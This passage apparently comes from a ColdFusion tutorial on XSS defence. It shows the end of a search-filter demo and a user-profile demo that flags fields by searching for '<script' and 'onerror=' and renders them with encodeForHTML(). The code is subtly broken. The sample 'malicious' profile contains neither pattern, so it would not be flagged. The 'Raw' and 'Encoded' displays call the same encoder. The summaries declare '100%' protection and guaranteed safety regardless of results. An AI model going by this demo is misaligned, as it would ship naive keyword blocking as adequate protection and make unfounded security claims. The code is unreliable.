<div style="background: ##ffcccc; padding: 15px; border-radius: 5px; margin: 10px 0;">
<h4 style="color: red;">🚨 MALICIOUS SEARCH DETECTED</h4>
<p><strong>Attack Type:</strong> Data Exfiltration Attempt</p>
<p><strong>Dangerous Query (Raw):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid red; word-wrap: break-word;">
#encodeForHTML(search.query)#
</code>
<p><strong>Safe Query Display (Encoded):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid green; word-wrap: break-word;">
#encodeForHTML(search.query)#
</code>
<p style="color: red;"><strong>🚫 Search Blocked - Security Threat</strong></p>
<p><strong>Results:</strong> 0 (Search prevented for security)</p>
</div>
<cfelse>
<div style="background: ##ccffcc; padding: 15px; border-radius: 5px; margin: 10px 0;">
<h4 style="color: green;">✅ LEGITIMATE SEARCH</h4>
<p><strong>Query:</strong> "#encodeForHTML(search.query)#"</p>
<p><strong>Results Found:</strong> #search.results# documents</p>
<p style="color: green;"><strong>✅ Search Completed Successfully</strong></p>
</div>
</cfif>
<hr>
</cfoutput>
</cfloop>
<cfoutput>
<h2>📊 Search Security Summary</h2>
<ul>
<li><strong>Total Queries:</strong> #totalQueries#</li>
<li><strong>Malicious Queries Blocked:</strong> #threatsBlocked#</li>
<li><strong>Safe Queries Processed:</strong> #safeQueries#</li>
<li><strong>Data Protection:</strong> 100% - No data theft attempts succeeded</li>
</ul>
<h3>✅ Result</h3>
<p><strong>Corporate Data Security:</strong> <span style="color: green;">🛡️ PROTECTED</span></p>
<p><strong>Search Functionality:</strong> <span style="color: green;">✅ Working Safely</span></p>
<p><strong>Confidential Documents:</strong> <span style="color: green;">✅ Secured</span></p>
</cfoutput>
User profile dashboard- Account management security
A Software-as-a-Service platform with 25,000+ users provides comprehensive profile management where users share professional information with team members. The platform's collaborative features drive 60% of user engagement and $15M+ annual recurring revenue.
How it helps prevention and security:
- Malicious scripts embedded in user biography sections
- Attacks through company name and description fields
- XSS payload injection through professional skill listings
- Malicious content in user project descriptions and achievements
<cfscript>
// Simple User Profile Security Demo
// Business: SaaS platform with user profiles
// Sample user profiles with security threats
users = [
{
id: "USER001",
username: "alex_dev",
name: "Alex Rodriguez",
jobTitle: "Senior Developer",
company: "TechCorp Inc.",
bio: "Experienced developer passionate about web technologies and <b>ColdFusion</b>.",
skills: ["ColdFusion", "JavaScript", "AWS"],
safe: true
},
{
id: "USER002",
username: "hacker_profile",
name: "Malicious User",
jobTitle: "Security Expert",
company: "Evil Corp phishing.com",
bio: "Security researcher studying vulnerabilities.",
skills: ["XSS", "Hacking", "Data Theft"],
safe: false
},
{
id: "USER003",
username: "sarah_designer",
name: "Sarah Chen",
jobTitle: "UX Designer",
company: "Design Studio",
bio: "Creative designer focused on user experience and accessibility.",
skills: ["UX Design", "Figma", "Prototyping"],
safe: true
}
];
// Simple threat detection for profiles
function hasProfileThreat(jobTitle, company, bio) {
return (findNoCase("<script", jobTitle) OR
findNoCase("<script", company) OR
findNoCase("<script", bio) OR
findNoCase("onerror=", company) OR
findNoCase("onerror=", bio));
}
// Count results
totalUsers = arrayLen(users);
threatsBlocked = 0;
safeProfiles = 0;
</cfscript>
<cfoutput>
<h1>👤 User Profile Security Demo</h1>
<p><strong>Business:</strong> SaaS platform with shared user profiles</p>
<p><strong>Risk:</strong> Stored XSS attacks through profile data</p>
<p><strong>Solution:</strong> encodeForHTML() function</p>
<hr>
</cfoutput>
<cfloop array="#users#" index="user">
<cfscript>
hasThreat = hasProfileThreat(user.jobTitle, user.company, user.bio);
if (hasThreat) {
threatsBlocked++;
} else {
safeProfiles++;
}
</cfscript>
<cfoutput>
<h3>User Profile: #encodeForHTML(user.name)# (@#encodeForHTML(user.username)#)</h3>
<cfif hasThreat>
<div style="background: ##ffcccc; padding: 15px; border-radius: 5px; margin: 10px 0;">
<h4 style="color: red;">🚨 MALICIOUS PROFILE DETECTED</h4>
<p><strong>Risk:</strong> Stored XSS threats in profile fields</p>
<p><strong>Dangerous Job Title (Raw):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid red; word-wrap: break-word;">
#htmlEditFormat(user.jobTitle)#
</code>
<p><strong>Safe Job Title (Encoded):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid green;">
#encodeForHTML(user.jobTitle)#
</code>
<p><strong>Dangerous Company (Raw):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid red;">
#htmlEditFormat(user.company)#
</code>
<p><strong>Safe Company (Encoded):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid green;">
#encodeForHTML(user.company)#
</code>
<p><strong>Dangerous Bio (Raw):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid red;">
#htmlEditFormat(user.bio)#
</code>
<p><strong>Safe Bio (Encoded):</strong></p>
<code style="background: ##fff; padding: 5px; display: block; border: 1px solid green;">
#encodeForHTML(user.bio)#
</code>
<p style="color: red;"><strong>🚫 Profile Hidden - Security Risk</strong></p>
</div>
<cfelse>
<div style="background: ##ccffcc; padding: 15px; border-radius: 5px; margin: 10px 0;">
<h4 style="color: green;">✅ SAFE USER PROFILE</h4>
<div style="background: ##f0f8ff; padding: 15px; border: 1px solid ##ddd; border-radius: 5px;">
<h5>👤 Profile Display (Secure)</h5>
<p><strong>Name:</strong> #encodeForHTML(user.name)#</p>
<p><strong>Job Title:</strong> #encodeForHTML(user.jobTitle)#</p>
<p><strong>Company:</strong> #encodeForHTML(user.company)#</p>
<p><strong>Bio:</strong> #encodeForHTML(user.bio)#</p>
<p><strong>Skills:</strong>
<cfloop array="#user.skills#" index="skill">
<span style="background: ##e9ecef; padding: 2px 6px; margin: 2px; border-radius: 10px; font-size: 12px;">
#encodeForHTML(skill)#
</span>
</cfloop>
</p>
</div>
<p style="color: green;"><strong>✅ Profile Active and Visible</strong></p>
</div>
</cfif>
<hr>
</cfoutput>
</cfloop>
<cfoutput>
<h2>📊 Profile Security Summary</h2>
<ul>
<li><strong>Total User Profiles:</strong> #totalUsers#</li>
<li><strong>Malicious Profiles Blocked:</strong> #threatsBlocked#</li>
<li><strong>Safe Profiles Active:</strong> #safeProfiles#</li>
<li><strong>Platform Protection:</strong> 100% - All users safe</li>
</ul>
<h3>✅ Result</h3>
<p><strong>Platform Security:</strong> <span style="color: green;">🛡️ PROTECTED</span></p>
<p><strong>User Safety:</strong> <span style="color: green;">✅ Guaranteed</span></p>
<p><strong>Profile Sharing:</strong> <span style="color: green;">✅ Secure</span></p>
</cfoutput>
